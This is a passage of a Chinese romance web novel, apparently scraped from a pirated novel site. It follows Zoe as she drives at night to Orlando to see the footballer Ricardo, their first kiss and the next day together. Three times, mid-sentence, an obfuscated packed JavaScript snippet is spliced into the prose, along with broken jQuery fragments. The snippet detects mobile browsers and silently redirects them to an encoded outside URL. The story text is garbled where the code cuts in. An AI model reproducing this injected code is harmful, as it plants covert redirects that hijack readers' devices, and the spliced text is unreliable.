佐伊:呃……会踢球的和不会踢球的? 里卡多:那些品尝过巴西烤肉后爱上它的,和那些还没尝过巴西烤肉的。 佐伊:哦……要是我吃了巴西烤肉却没爱上它,是不是就要被你单方面绝交啦? 里卡多:哈哈哈 里卡多:当然不会。不过到时候你就只能眼巴巴看着我大快朵颐咯,我会给你点一份沙拉。 佐伊:沙拉也挺好吃的。嗯,里卡多,你是不是不太爱吃蔬菜呀? 里卡多:…… 佐伊:哈哈哈 里卡多:你笑得好开心…… 佐伊:你说不定就是那种,走进餐厅就对服务生说:请给我上一盘蔬菜沙拉,不要蔬菜,不要沙拉,只要酱。(大笑.gif) 里卡多:…… 佐伊:你们足球运动员不是得进行饮食管理吗? 里卡多:是得管理。所以我也只能偶尔放纵一下。 佐伊:嗯,里卡多,多吃点蔬菜。还是你看着我吃烤肉吧。 里卡多:…… “哈哈哈——”我在车座上笑得前仰后合。 里卡多:(发送了一张图片)。 我好不容易憋住笑,点开他发来的图片。那是一张卢卡正津津有味吃着披萨的照片,旁边还有可乐和炸鸡入镜。 里卡多:卢卡对这些高热量的食物真是情有独钟。 佐伊:炸鸡和披萨能带来简单直接的快乐!小孩子的快乐就是这么纯粹。我小时候也很爱这些。 里卡多:嗯,所以你和卢卡有不少共同话题。 佐伊:……听起来你好像在暗示我很幼稚。 里卡多:你听错了。(微笑.gif) 佐伊:(流汗.gif)(再见.gif) 里卡多:对我来说,从很小的时候就开始踢球和信教,所以,大概只有足球和主,才能给我这样简单纯粹的乐趣吧。 佐伊:你可是超级出色的球员,也是最虔诚的基督徒!说实话,我非常想在现场看你踢一次比赛,隔着屏幕看也太不过瘾啦!(渴望.gif) 里卡多:我目前在奥兰多城足球俱乐部,如果你真想去看,30日我在堪萨斯城有一场美职联的客场比赛,我可以送你一张球票。不过…… 佐伊:谢谢!我太乐意去看了! 里卡多:佐伊,我不得不提醒你—— 什么? 我纳闷地盯着屏幕看,可里卡多却没了下文。就在我终于按捺不住,准备发问的时候,他发来了消息。 里卡多:我的球技可能比不上你在视频中看到的那样出色了。我担心这会让你失望,事实上,你可能会大失所望。 他竟然在担心这个? 我怔了一下,脑海中瞬间浮现出他那双深邃的黑褐色眼睛,那束灼热的光,却隐隐透着一丝淡淡的落寞。 我的心像是被一只无形的手轻轻揪住。 许久后,我回复他。 佐伊:里卡多,我本想找些话来安慰你,比如“我对足球一窍不通,根本看不出你球技有什么差别”,又或者“毕竟十多年过去了,体力有所下降也是人之常情”。但犹豫再三,我还是决定向你坦诚我最真实的想法。上帝啊,我发誓,我压根!一丁点儿!都不在意你的球技是否下滑! 佐伊:其实年少时的你和现在的你,在我眼里是一样的。那个风华正茂、光芒万丈的天使,属于上帝和绿茵场,即使我站在他身边,他也不需要我,因为他拥有整个世界。 但如果,如果有一天他失去了很多,如果有一天他形单影只,我依然会陪在他身边,陪他一直走下去,无论多远,无论多久。 我不知道里卡多看到这番话后会想些什么,他的心是否也会如我这般颤动、燃烧,满怀柔情。 然而,自那时起,我便再也没有收到他的回复。 那天,我坐在车里等了很久。时间一分一秒地过去,音响里的爵士乐队一遍又一遍地循环演奏,挫败感如潮汐,一次次涌来,又一次次退去,却始终萦绕心头,挥之不散。 我做错了什么吗? 我说错了什么吗? 我一次又一次地点进对话框,盯着信息后显示的两个蓝色小“√”发呆。我知道他看到了我的话,也明白他没有回复所代表的含义。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14956392|160973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但到了最后,我也不后悔发出那条信息。 因为哪怕这样的场景重新上演,不,哪怕是重演十次、百次,乃至千次,我的回答都不会有丝毫改变。 我不能因为害怕失去而选择隐瞒自己的心。 - 我躺在酒店的床上,躺在清晨半隐半现的乳白色薄雾中,躺在白日里熏人欲醉的杲杲暖光下,躺在夜晚群星低垂、轻触波涛的混沌梦境里,花了四个昼夜的时光,读完了那本《情爱论》。 即使我心中仍有不安,但恐惧已经悄然退去。 倘若我对感情依旧懵懂无知,那便如同一个稚子,在黑夜中孤独游荡。这世界漫漫无边际,而这黑夜,不过是千千万万个黑夜中的一个,它们相互嵌套,如同一条没有尽头的链条,我在其中茕茕踽踽,不知该去往何方。 而此刻,我依旧独自伫立在这黑夜里,四周弥漫着孤独、未知与迷茫……它们虚幻缥缈,似有若无,却又仿佛飘浮着一些坚实的东西,如同流萤在黑暗中发散出的微光。 我不知道黑夜是否渺渺无尽,也不清楚这世界是否真的存在一个出口,但我已经明白,在这里,时间失去了它原本的意义,我会一直往前走,不计日夜,直到触碰到他的灵魂。 从更远的地方吹来了轻软、凉爽的海风,矶鹬清亮的鸣叫伴随着涨潮时海水的呢喃,一些轻柔的话语在脑海中盘旋不已,尤其深刻的那个,告诉我要去做我想做的事情。 于是,在来到萨拉索塔的第十五个夜里,我的理智悄然出走。 在遇见里卡多的第七个夜里,我孤身一人,带着一只行李箱,开着一辆租来的车,在已经陷入沉睡的世界里飞驰。黑夜在身后追赶着我。 那时,我唯一拥有的,便是头顶那片浩瀚的星河——那些遥远到难以计量光年的星辰,它们没有思想,亦不懂情爱,跨越茫茫宇宙而来的光芒,渺小得如同三个便士。可在这季夏的夜里,唯有它们知晓我的小小冒险。 - 我到达奥兰多的时候是晚上十一点,比预计的时间早了半个小时。 我缓缓松开油门,将车速从90迈降下来,驶离了高速公路。音响里科特·柯本的声音在愤怒嘶吼,仪表板发出黯淡的红光。 这座城市闪烁着零星的灯光,偶尔有打着橘黄色车前灯的轿车掠过,留下一道道散开的光影。我漫无目的地随着导航往市中心驶去,事实上,我根本不清楚里卡多住在哪儿。我猜测他可能住在某个富人区。 在一家24小时营业的711便利店门口,我将车平行于路边停下,打算进去买一瓶可乐。 推门而入的瞬间,店内的冷气迎面扑来,我不禁缩了缩肩,打了个寒颤。我迅速地从冷藏柜里取出一罐可乐,目光又在货架上扫了一圈,随手拿起一盒薄荷糖。 女店员从我进店起就在打电话,一连串怒不可遏的话语如连珠炮般灌进我的耳朵,似乎是在向电话那头的人痛斥她被一个已婚男人欺骗了。 我前去结账的时候,她正情绪激动地飙出一句脏话。 “那个该死的骗子,他居然骗我说他已经离婚了!情人节送的礼物竟然是他老婆不要的破烂——”她撅着下巴,脸上露出一副咬牙切齿的表情,骤然转向我,“一共5刀!”她的声音里带着明显的不耐,很快又撇开我钻进电话里去。 我默默付了钱,走出店门时,还能听到她在愤愤地说:“我一定要给他点颜色瞧瞧!” 还好里卡多确实是离婚了。这个念头没来由地在我脑海中一闪而过。 7. 上帝的第七天 我回到车上,随手剥开一颗薄荷糖丢进嘴里,一股清凉在舌尖蔓延。打开手机,翻到与里卡多的聊天页面,对话记录静止在四天前的中午。 我点开对话框,手指在上面游疑。 他一定已经睡了吧。 不能打电话,会吵醒他的。那么,给他留条信息? 或许他还没睡。即使他睡着了,说不定半夜醒来会看到。再不济,明早醒来总会看到的。 我犹豫着,体内似乎有一种强烈的恶心,五脏六腑都在翻搅着涌上来。我长吸了一口气,勉强压下这种感觉。 佐伊:我到奥兰多了。 我盯着发送出去的消息发了一会儿呆,想起了那罐冰镇可乐,于是伸手从副驾驶座上将它抓过来,轻轻拉开拉环—— 手机骤然震动起来,活像一只受惊的玩具老鼠。 我差点儿把手中的可乐洒出去,心脏猛地跳了一下。我赶紧低头,忙乱地舔了舔溢出来的液体,紧接着深呼吸了好几次,这才鼓起勇气低头查看手机。 里卡多:你在奥兰多?现在? 他的回复速度之快,大大超出了我的预料。 他还没睡吗?我暗自惊讶,但随之而来的,是一丝激动的窃喜。 佐伊:是的。我刚到。 他会怎么回复呢?我感觉喉咙一阵阵发麻,这让我不由自主地低头猛喝了一口可乐。冰凉的气泡在喉咙里炸开,寒意传遍了脸颊,这才让我稍稍感觉舒服了一些。 里卡多:你现在在哪个位置?你从萨拉索塔过来的?开车过来?一个人? 新消息迅速飞了出来。 他仍然关心我。忐忑感消失了,一股强烈的安慰的暖流席卷了全身。 佐伊:我的车停在市中心的某条路上,这里有一家711。具体地址我得看下地图。是的,我一个人。 里卡多:把你的位置发给我。 里卡多:算了,我把我的位置发给你。不要下车,直接开车过来。 里卡多:(发送了一个定位)。 我点开他发的定位——“金橡树庄园(Golden Oak)?”我轻声念出这个名字。这显然是一个豪华社区,而它的位置就在迪士尼世界度假区中。 一阵电话铃声猝然响起,是里卡多打来的。 “里卡多?”我按下接听键,踟蹰着说。 电话那头,他似乎先是深深地吸了一口气,然后才开口:“佐伊——”他的声音透着一丝不寻常的紧绷,“你现在是坐在车上,对吧?” “是的。”我默默地回答,为重新听到他的声音而感到一阵阵喜悦。 “很好。把你的车门锁好,现在按着导航过来。” 我照着他的话做,拧动车匙,引擎随之发出低沉的轰鸣,缓缓启动。 一时间,电话里只有我们彼此的呼吸声,他的呼吸似乎有些急促。 “我以为你已经睡了。”我转动方向盘,试图打破沉默——好像我总在做这种缓解尴尬的事情,“你平时应该睡得挺早的。嗯,我看了一些关于你的新闻报道,上面是这么说的。” “我睡不着。”他简短地回应道 “嗯……你住在迪士尼世界旁边?那是不是在你的院子里就能看到迪士尼的烟花了?”我绞尽脑汁地想找个话题出来。 “佐伊。”他突兀地打断了我的话,我吃惊地发现他显得怒气冲冲,“你知道现在多晚了吗?你一个人从萨拉索塔过来,如果出了什么事怎么办?为什么你不能白天出发?为什么不能在出发前告诉我一声?耶稣基督啊,万幸我现在还醒着,不然你一个人晚上要去哪?” 他指责似的飞快地说了一连串。我抿了抿嘴。 “你有四天没有回我消息了。”我尽量以一种平静的语调回应,仿佛在陈述一件微不足道的小事。 他似乎在一瞬间屏住了呼吸,那沉默的时间长到我不由得怀疑他是不是一气之下把手机丢出去了。 “对不起。”他低声说道,“是我的错,没有回你的消息。但是,你不能这样赌气,你不应该这样冲动……”他的声音渐渐柔和下来,却又带着一丝不容置疑的严肃。 “我没有赌气。”我开过一个路口,他的话让我感到些许宽慰,同时又忍不住觉得他有些小题大做,“我只是突然想来见你,只是跟随自己的心。而且我很安全,高速上没什么车,我几乎一直待在车里。除了刚才去711买可乐,但里面也有个女店员……总之,你完全不用担心。” “我怎么可能不担心?”他听起来简直要气笑了,“突然看到你的消息,说你到奥兰多了,我差点从床上直接跳起来!” “你是个聪明的女孩。”他最后叹息道,“答应我,不要再做这种事情了,不要把自己置入危险的境地。起码,你应该提前告诉我。” 我没有作声。在这件事上,我不想听他的,但也不想说些违心的承诺。 “佐伊?”他呼唤着我的名字。 我迟疑了片刻,决定暂时放下这个话题。“如果我以后决定要在深夜上高速公路飙车,我会提前告诉你的。”我聪明地说。 “你在和我玩文字游戏。”他的声音里充满了不赞成,但顷刻间又轻轻笑了一声。我成功地让他不再那么充满怒气了。“你知道我指的是什么。” “我知道了。”我恳求道。 他短暂地沉默了一会儿。 “你现在到哪儿了?”他问。感谢上帝,他终于不再紧抓着这个问题不放了,我松了一口气。 “还有1.5英里。”我看了一眼导航回答道。 “你的车牌号是多少?” “呃,DA——”我犹豫了一下,思索着,“418……7?好像是这个。” “好像?”他重复我的话。 “我在坦帕租的车,我甚至只完整输入过一次车牌号。”我解释说,感到自己脸红了,幸好他看不见。“我可能得下车确认一下,或者翻一翻我的租车订单。” “算了。”我几乎能想象到他在电话那头憋着笑的样子。他停顿了一下又说:“告诉我车的颜色和牌子吧。如果你能确定的话——”他补充了一句。 他一定在心里笑话我。我有些悲愤地想。 “白色,雪佛兰。”我用一种十分肯定的语气回答。 “好的,稍等一下。”他似乎把手机放到了桌子上,继而是一阵脚步声。我侧耳听着,隐约传来他用英语和别人交谈的声音。 “你到达后可以直接开进来。”他回到手机旁,“我给门卫打过电话了。” “好。”我应了一声。 “那待会儿见。”他说,“我需要去换件衣服。” 我顺利地把车开进了金橡树庄园,门卫只是简单地把门打开,没有要求我停车检查。 庄园里的道路非常宽阔,路灯的光线穿过树木和灌木丛的缝隙,斑驳地洒在路面上。 我路过一栋栋豪华别墅,有些亮着灯,有些一片漆黑,只有一些模糊的阴影。偶尔可以听到远处的蛙声和虫鸣。我紧盯着导航,沿着一片巨大的人工湖行驶,把车速放得很慢。 只有0.2英里了。导航提示我。 我把目光锁定在前方那座灯火通明的住宅上,它在夜色中犹如一颗璀璨的宝石,镶嵌在草坪和湖泊之中。 离这座童话城堡似的建筑不足60英尺的时候,我惊愕地发现,在门口的树丛阴影下,有一个人影静静地伫立着。 我踩下刹车,将车停在了豪宅的车道上。车前灯冷淡的光线使路面泛着白光,而里卡多也从黑暗里踏出。 我啪的一声解开安全带,深吸一口气,下意识地做了一个双手往下压的动作,试图让自己镇定下来,然后推开车门,缓缓走下车。 “嗨,里卡多,晚上好。”我关上车门,听到自己对他这么说,声音在寂静中嗡嗡振动。 他穿着一件蓝色衬衫和一条杏色长裤。衬衫仿佛是为他量身定制,完美地贴着他的胸膛,没有一点褶皱,把他的肩膀显得很宽阔。他耸立在我面前,微微低下头,我看得见他的眉头紧紧地打了个疙瘩。 “事实上,我这个晚上并不好。” 我使劲儿眨着眼睛,我以为这件事已经过去了,但里卡多的表情清楚地告诉我,事实并非如此。我沮丧地望着他,心中充满了不确定。 他忍不住露出了一丝苦笑。“该拿你怎么办呢,小姑娘?你为什么来这里呢?” 黯淡的光影从他身后的宅邸里投射出来。我着迷地看着他刀削般的英俊脸颊和黑玛瑙般的眼睛。 “我很想你,里卡多。”我轻声诉说。 他的瞳孔一下子放大了。 “你呢?这几天你想我吗?你想见到我吗?”我问他,紧紧地搜寻着他的眼神。 他脸部的肌肉微微抽搐着,很快,他极其细微地动了一下,似乎是摇了一下头。 “告诉我真心话吧!”我几乎是在祈求,“我请求你——” 他沉默地凝视着我,一种不同于我的愁闷浸透了他的眼神。 “我只想见你,里卡多,我只是想要见你……拜托,请告诉我你的真心吧,如果我还能够体会你的心,我就无所畏惧——” 他的嘴唇开阖了一下,却只是发出了一声轻轻的叹息。 “如果这是你想要的——告诉我,你不想见我,你想让我走,我就会离开!我发誓,只要你说出来,用最冰冷的句子说出来,我保证永远不在你眼前出现!只要你一句话,里卡多,只要你一句话……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14956393|160973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我听出了自己声音里的悲哀,我几乎要哽咽了,但最后还是强忍住了,只是无力地别过眼去。 “这几天我都心浮气躁。”他的声音乍然响起来。 我猛地抬头去看他,他的目光却在地面逡巡着。 “不知道该如何回复你,不知道该不该继续和你联系,甚至不知道这是不是一场错误……我每晚都睡不着。我跪在窗前,向主祈祷,问主我究竟应该怎么做——” 我凝神屏息地等他把话说完。但他没有再说下去,只是站在那里,怔怔地愣了一会儿。 “为什么呢?”我喃喃道,“为什么我们不能尝试在一起呢?为什么你要如此抗拒这份感情呢?” 他避开我的视线:“我不能,我的心很乱……” “你是不能,而不是不愿意——” “佐伊!”他阻止我说下去,“如果我现在只有二十岁。或许我会去尝试,或许我还有勇气。但是我现在非常疲惫了,我真的很累了。 “越来越严重的伤病,一次又一次……足球曾是我的生命,可是我现在很难体会到它的快乐了。家庭和职业的冲突,我的情感不被理解,总是被要求,被责怪……它们会再次发生的,这些事情总是会发生的,我不想再来一遍了。你只是个孩子,你怎么懂这些呢?我要怎么和你说呢?你不会明白。” 我盯着他的眼睛,一股深深的痛苦攫住了我,啃噬着我的心。 “你在害怕。” 他的嘴唇挤出一个最微弱的笑容,脸上的表情几乎可以打动这世间的任何人,还会让一些人根本不忍心再看第二眼。 “没关系。你可以害怕。”我轻声说,“我理解你的感受。你觉得我不明白吗?然而我因你的热爱而热爱,因你的痛苦而痛苦啊。勇敢的人就不能畏惧吗?即使畏惧,你也依然在球场上冲锋。你的热忱和力量,至今仍然在你体内,从未真正离去。我非常清楚——”我深深吸了一口气,继续说。 “我看到的,不是巨幅招贴画上那个完美无缺的你;我想要的,也只是现在的你。无论你是否遗憾、迷茫、痛苦、退缩,我都依然喜欢你。你觉得我是个孩子,那我为什么不能像一个孩子一样纯粹地、赤裸裸地喜爱你呢?” 夜色如同一个沉默的旁观者,从我们中间飞掠而过。 “今天是第七天。”我忽然说。 “什么?”他微微抬了一下头。 “今天是安息日,也是我遇见你的第七天。‘第七天,上帝完成了祂的创造之工,就在第七天安息了,歇了祂所做一切的工。’今天上帝休息了,你可以不用再问祂了,可以依从你的心。 “里卡多,你——可以给我一个吻吗?祂不会知道的。” “佐伊……” 他却只是忧伤地看着我,那几乎是一种道歉的目光。 在来奥兰多的路上,我想了很多,我以为自己已经拥有了足够多的勇气去面对任何结果。即使是在刚才,即使里卡多深深地掩藏起了他的感情,我也没有完全失去希望;但是在这一刻,我的心仍然不可抑制地、沉甸甸地坠落了下去。 我看着他的眼睛,忽然很想知道,此刻倒映在他眼眸中的我,又是怎样的存在,有着怎样的神情呢? 是否或希冀或祈求地注视着他,又或者,我的眼神中已经盈满了一种柔和而朦胧的绝望? 我轻轻地叹了一口气,我牵动嘴角,想再对他微笑一下,再对他说些什么。 但我马上就无暇思考这些了。 因为他靠近了我。 然后,非常突然,非常迅速地,他吻住了我的额头。 他穿着的那件单薄的、丝滑的蓝色衬衫,敞开着领口。光影下,那片性感的、闪耀的肌肤从他微微颤抖的喉结一直绵延到肌肉紧实的胸膛。他的胸膛在微微起伏着。 他温热的呼吸轻轻扫过我的脸庞,我感觉耳朵里响起了一阵奇怪的、空旷的声音,就像有一个透明的却泛着五光十色光泽的金鱼气泡,把我整个头颅都笼罩住了。在这种令人心醉的眩晕中,我隐隐约约听到自己打鼓般的心跳声。 过了好一会儿,我闻到了一股淡淡的、甜美的香气,它萦绕在我的鼻尖。 他已轻轻地退开了。 “你喷了香水?”我有些恍惚地问他。 他轻笑了一声。 “佐伊,有时候,你聪明得令我颤栗;有时候,又迷糊得让我爱怜。” “我,我不明白——”我结结巴巴地说道。 “上帝开始上班了。”他看了一眼时间,声音很柔软。 已经午夜十二点了。 他褐色的眼眸似乎比我见过的任何一次都要更明亮,泛着清透的、深邃的光。 “你让我想一想,佐伊,让我想一想。” 8. 等到五十八岁 倘若将来有人问起我,住在紧邻迪士尼的豪华庄园里是怎样一种体验,我会指着自己的黑眼圈,半开玩笑地回答:“心神激荡,精神振奋,让我夜不能寐。” 实际上,昨夜我的耳朵里一直回响着那种低沉的轰鸣,这一切始于里卡多那个轻柔的吻。 当我迷迷糊糊地倒在二楼客房的床上,这种耳鸣变得愈发强烈了。就好像有个迪士尼的小精灵吹响了进攻的号角,然后无数个小人钻进了我的脑海里,他们集结在一块儿,开始噼里啪啦地放起了烟花。 我非常想好好思索一下里卡多的态度,但整个夜晚,我都在一种半梦半醒的奇异状态中徘徊。 那场烟花盛宴落幕后,首先冒出来的,是有着一头海藻般玫红色长发的爱丽儿,她对穿着黄裙子的贝尔说:“哦,瞧啊,她完全坠入爱河了。我懂这种感觉,我曾经也深陷其中,对一个王子,我是说他是一个真正的王子,拥有一座城堡,没有鱼尾的那种——”她边说边朝我的鼻子吹泡泡。 “我也有过一个王子。”贝尔闷闷不乐地说,“虽然他一开始长得有点怪,但后来就好了。他当然拥有一座城堡,不然怎么能被称作是王子呢?抱歉,但我必须得说,”她在我的眉骨上坐着,环顾房间,撇了撇嘴,“这里嘛——只能算是差强人意。” 其他几位气质高贵的公主纷纷点头,她们正准备轮流发表一下自己的意见——她们都踮着脚尖,小心翼翼地踩在我的睫毛上。 “你们这些公主别在这儿碎碎念了,快回宫殿里去开茶话会吧!”一个直率的小男孩的声音从天而降,把这群公主们惊走了——这种尖刻并没有损害他嗓音中的天真。 一只毛发蓬松、憨态可掬的棕色小熊,穿着一身水手服,欢快地跳上了我的额头。 “她正迷糊着呢。”他一蹦一跳,棕黑色的大眼睛温柔地说着话,“感情的诞生啊,就如同一场奇迹。关键不在于王子,也不在于城堡,而是真心!就像当你真诚地想着‘要是能和这只熊一起散步该有多好啊’,于是我就真的变成了一只活生生站在你面前的小熊。真心能够赋予一切新生命!” 随后,整个下半夜——说实话,我根本无从知晓那究竟是几分钟,还是漫长的几个小时——我都在和小熊达菲一起跳舞,手拉着手,转着圈儿,这使我晕得更加厉害了。 - “早上好,佐伊。你昨晚,是在梦中和人决斗了吗?”当我从楼梯上走下来,进入早餐厅的时候,里卡多端详着我,他看上去是真的疑惑不解。 我郁闷地扫了他一眼,随后伸手拉开餐椅,在圆桌前坐了下来。 “早上好,里卡多。我并没有和人决斗。如果你觉得我的面色不佳,我想这或许是因为你昨晚让我太激动了。”我一本正经地对他说,从篮子里拿起一片面包,细致地涂抹起黄油。 令我吃了一惊的是,他竟然有些不自在地咳嗽了一声,捂嘴的动作也显得有些发窘。 一时间,我停下了动作,只顾盯着他看,就像看到了一只从绿皮怪兽乍然变成人类的史瑞克。 “你的早餐,佐伊。”他将一杯牛奶递到我面前。但是,我确信——他在刻意躲避和我对视。 我开始安静地喝牛奶,不动声色地观察他。他的每一个动作,无论是轻轻掰开面包,还是将一片冒着滋滋热气的培根叉起,都简洁优雅,极其性感。而正慢慢咀嚼着食物的双唇,昨晚真切地落到我的肌肤之上,柔软的触感,吐出令人沉醉的气息…… “你想去哪里玩吗?”他的声音适时响起,打断了我的遐想。他抬头端详了一下我的神色,这次换我慌不迭地挪开了视线。 “或者,你想要再休息一下?”他关切地问道。 我犹豫了片刻,问他:“你今天要去训练基地吗?” 他停顿了一下,握着叉子的手悬在那里。“按计划是要去的。”他低声回答,眉头似乎微微皱起,“不过,今天也没什么要紧的事情。也许我可以完成体能训练就回来,赶在中午之前——” “你可以在家里待着,看场电影、玩玩游戏。要是你喜欢,也可以去泳池里游个泳,或者在社区里逛逛。这里有高尔夫球场、滑冰场、水疗馆之类的运动和疗养场所,也有各类俱乐部、酒吧和咖啡馆。” 他顿了顿,继续说道,“还是你想去迪士尼玩吗?我可以联系社区,会有专车接送你去那儿,你可以凭金橡树的会员证直接玩任何你想玩的项目。” “我可以自己随便逛逛。”我咬了一小口面包,嘟囔道,“其实,我更想和你一起去迪士尼,不过不是现在。”我在他刚要浮现出为难的神情之前及时补充,“可以等以后,某个合适的时机。” 他轻轻应了一声,舀了一勺蘑菇汤。“我尽量在中午前回来。如果你有什么需要,就去找蕾拉和詹姆斯。” 我点了点头。蕾拉是别墅里的保姆,四十多岁,一头红发,看上去既亲切又热情,昨晚正是她为我整理床铺,准备好洗漱用品。 詹姆斯则是这座豪宅的管家,负责管理厨师、保姆和园丁,以及日常采买、付账、预约、别墅维护、与各色人员对接等一系列杂事。他平时不住在这儿,也不要求每天过来,但必须保持全天候的通讯畅通。至于主人的行程安排和时间管理,那便由另一位私人助理尼克负责。 “唔,有件事,我得和你说——”我拿起面前的银叉子,伸向放在桌子中央的巴伐利亚白香肠,语气放得很缓慢。 “什么?”他立刻颇为警觉地看了我一眼,就好像他笃定我下一刻便要宣布去尝试高空跳伞了似的。 我被他这副模样给逗乐了。“我只是想说,我大概只能在奥兰多待上一天。” “为什么?”他不解道,“芝加哥大学的开学日期是9月30日。你还有一个半月的假期。” “你知道我的开学日期?”我惊讶道。 “你的学校显然认为这个信息可以在网上公开。” 我托着下巴,眼底溢出笑意。他比我预想的要更关注我。 “我八月份剩下的时间得去马德里看望我的外公外婆。”我解释道,“早就和他们约好了。而九月份我需要回中国,陪陪我的父母。” “但是,你这个月的比赛,我会飞过来看的。”我快速地从睫毛下瞥了他一眼,“唔,如果你依然打算送那张球票给我——” “当然。”他沉默了片刻,微微一笑,“我会给你留一个好位置。” 他抬起勺子,将汤勺里的蘑菇送入口中,慢慢咽了下去。 “你打算什么时候启程?” “今天下午六点,从坦帕出发。” “六点。”他重复着。 “票之前就订好了。”我用餐叉慢慢地戳着餐盘里的香肠,却没有去吃,“我可能下午三点就得出发了。毕竟要赶到坦帕去搭乘飞机。” “不是一天。”他猝然说道。 “抱歉?” “不是一天,连一个完整的白天都不到。” 我愣了一下,然后干巴巴地回答:“哦。”我理解了他的意思。 “所以你昨天半夜驱车130英里来到奥兰多,就仅仅打算在这儿待上半个晚上和半个白天?” 我想观察他的神色,但他垂着头,紧闭着嘴,只盯着他面前的餐盘看。 “我只是想来见你一面。而且——”我嗫嚅着,感到了一丝委屈,“我当时根本不确定能不能见到你。” 我再次看向他,试图判断他的情绪。“嗯……其实我也可以改签的。只要我同胡安和阿尔玛说一声,随便找个理由,比如需要临时参加一个学习小组之类的。” 他叹了一口气,终于抬起眼看我:“不需要这么说,佐伊。你应该按原定计划去马德里。请等我一会儿。” 他放下餐具,用餐巾轻拭嘴角,接着抓起手机走向另一个房间。 我快速地将盘子里剩余的食物吃完,随后站起来,犹豫着是否要过去找他。 但我最后还是跟过去了。 我走进客厅的时候,他正对着手机,用英语说完了最后一句话:“实在抱歉,教练。嗯,我会的……不会耽误明天的训练的,谢谢。再见。” 他放下手机,转过身看着我。 “吃完了?” “嗯。”我应了一声,朝他走过去,“你刚才是在请假吗?” 他点点头。“今天我会一直陪着你,下午我送你去坦帕。”他的眉头渐渐舒展开来,温和道,“上午想去哪里玩?” “这样会不会不太好?”我踌躇着,“我是说,你因为我而缺席训练——” “是不太好。”他点头表示赞同,我惊讶地看向他,没漏过他揶揄的神情,“不过,偶尔让自己放松一下,逃一次训练,感觉也不错。” - 我不想给里卡多带来什么麻烦,于是我们选择在金橡树庄园里享受一个宁静的上午。 趁着早晨的阳光尚未炙热,我们在别墅前的人工湖畔悠闲地散了散步。然后在这栋豪宅的游戏室里,我们一边吃冰淇淋一边玩电子游戏。我们还一起观看了一部在评分网站上颇受赞誉、剧情却冗长拖沓的英语电影,并一致认为它名不副实。 到了中午,里卡多预约的高级厨师准时上门,为我们烹制了一顿地道的西班牙大餐,尤其是那道马德里烩菜,浓郁正宗的风味令我十分惊喜。 下午,他让管家帮我归还了那辆租来的雪佛兰。我在房间里整理好了行李,听到有人敲门。我打开门,里卡多正站在门外,已经戴上了口罩和墨镜。 - “准备好了吗?我们要出发了。”他走进来,接过我的行李。 “你每次出门都这么全副武装吗?”我好奇地问。 “去人多的地方很有必要。”他回答,随后退后两步,细心打量了我一番。 “怎么了?”我有些不自在地问,我今天穿了一条橄榄色的露背长裙,蓬松的栗色长发随意地披散在腰间。 “你最好也带上墨镜和口罩。”他建议。 “我也需要吗?”我惊讶地问。 “以防万一。”他简洁地说。 “呃,他们就不能把我当作你的助理之类的吗?”我半开玩笑地说。 我清楚地听见他笑了一声。“除非他们的眼睛出了问题。你不知道自己究竟有多美。” 我瞬间感到脸颊发热。这不公平,我在心里默默地抗议,他戴着口罩遮掩了表情,而我却没有任何遮掩。 - 里卡多的座驾是一辆深蓝色的奥迪R8,宽大的流线型车身在阳光下宛如一道蓝色闪电,而咄咄逼人的前脸和肌肉感十足的尾部,则充满了爆发力,使它卧伏时又如同一只蓄势待发的金属猛兽。 “哇哦,钢铁侠的座驾,很酷炫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14956394|160973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哦!”我惊叹一声,调侃道。 他正在帮我把行李放进跑车的前置行李箱,听到我的话,轻轻应了一声表示同意。 “你喜欢钢铁侠?”我好奇地问。 “我喜欢奥迪。”他走过来为我打开副驾驶的车门。 “那你对蓝色是不是有特别的偏爱?”我矮身坐进车内,意有所指,“昨晚你穿的那件蓝色衬衫也很吸引人。” “确实。”他绕过车身,来到另一边,打开驾驶座的车门,优雅地坐了进来,“和你的眼睛颜色一样。”我的脸不禁微微一红。 “系好安全带,佐伊。”他提醒我。 我顺从地照做,接着笑眯眯地扭头看着他:“或许你可以让我也开一段路?” 他微微一笑——此时他已经摘下了口罩。“你拿到驾照多久了?” “半年,”我诚实地说,“所以我在抓住一切能摸到方向盘的机会。而且,拜托,这可是一辆超跑啊!” 我听到他叹了口气。“我总是会忽略你的年龄。不是真的忘记,而是在日常的一些事情上,我有时候会忘记你几乎还是个青少年。” “抱歉——”我尖锐地指出,“但我成年了,而不是‘青少年’。” “好吧,那这位成年的女士能否告诉我,你昨晚在高速上开到多少迈?”他问,同时发动了引擎,平稳地驶出了别墅的车道。 “90?”我回忆了一下,“有几段路开上了100。” “我真不该问你这个问题。”他瞥了我一眼,眉头聚拢在了一起,“请你行行好,照顾一下我的心脏吧。” 